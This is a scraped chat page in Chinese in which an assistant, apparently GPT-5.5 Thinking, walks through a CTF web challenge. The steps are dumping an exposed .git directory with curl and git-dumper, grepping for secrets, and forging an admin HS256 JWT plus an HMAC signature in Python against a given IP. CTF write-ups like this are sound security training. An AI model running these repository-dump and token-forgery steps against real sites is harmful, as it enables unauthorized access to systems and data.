解题思路:- 方向:Web - 考点:`.git` 源码泄露、JWT(HS256)伪造、HMAC 签...
创建于:2026年5月5日
使用 GPT-5.5 Thinking 回答 Chat01
创建于:2026年5月5日
使用 GPT-5.5 Thinking 回答 Chat01
解题思路:- 方向:Web
.git 源码泄露、JWT(HS256)伪造、HMAC 签名复用1. 首页加载 /static/main.js,其中暴露 window.__buildTrace = "/.git/HEAD"。/.git/HEAD 可读,进一步可读 /.git/refs/heads/master,拿到 commit hash。.git/objects/... 拉取对象并解压,还原历史源码。你这个方向是对的,后半段可以这样收口。我这边当前连不上 39.105.213.28:49106,所以没法直接替你打出最终 flag,但完整利用链应该是:
bashBASE='http://39.105.213.28:49106' # 1. 确认前端泄露 curl "$BASE/static/main.js" | grep -i git # 2. 读 Git 引用 curl "$BASE/.git/HEAD" curl "$BASE/.git/refs/heads/master"
然后直接 dump 源码:
bashpip install git-dumper git-dumper "$BASE/.git/" ./repo cd repo git log --oneline --all grep -RInE "jwt|HS256|hmac|secret|sign|audit|flag|admin" .
关键点一般会在服务端源码里出现类似逻辑:
pythonjwt.decode(token, SECRET, algorithms=["HS256"])
以及审计查询接口使用同一个 SECRET 做 HMAC,例如:
pythonhmac.new(SECRET, msg, hashlib.sha256).hexdigest()
所以最终不是爆破 JWT,而是从泄露源码里拿到密钥或密钥派生方式,然后伪造 HS256 JWT。模板如下:
pythonimport time import jwt import hmac import hashlib import requests BASE = "http://39.105.213.28:49106" # 这里填源码里找到的 key,可能是 JWT_SECRET / SECRET_KEY / AUDIT_KEY KEY = b"replace_me" payload = { # 字段不要猜,按源码里校验的字段来 "user": "admin", "role": "admin", "iat": int(time.time()), "exp": int(time.time()) + 3600, } token = jwt.encode(payload, KEY, algorithm="HS256") headers = { "Authorization": f"Bearer {token}", } r = requests.get(BASE + "/你的审计或flag接口", headers=headers) print(r.status_code) print(r.text)
如果接口还要求 HMAC 签名,例如 X-Signature / X-Audit-Sign / sign 参数,就按源码里的拼接顺序复刻:
pythonts = str(int(time.time())) msg = f"{ts}|admin|audit".encode() sig = hmac.new(KEY, msg, hashlib.sha256).hexdigest() headers = { "Authorization": f"Bearer {token}", "X-Timestamp": ts, "X-Signature": sig, } r = requests.get(BASE + "/你的审计或flag接口", headers=headers) print(r.text)
writeup 可以这样总结:
前端
main.js泄露/.git/HEAD,导致.git目录可被枚举。还原源码后发现服务端使用 HS256 JWT 做身份认证,并且 JWT 密钥与审计接口 HMAC 签名密钥复用。攻击者从源码中恢复密钥,伪造管理员 JWT,并按源码逻辑计算审计请求签名,最终访问隐藏审计/flag 接口获得 flag。
最容易卡的地方是:JWT payload 字段和 HMAC msg 拼接顺序必须完全照源码来,不能靠猜。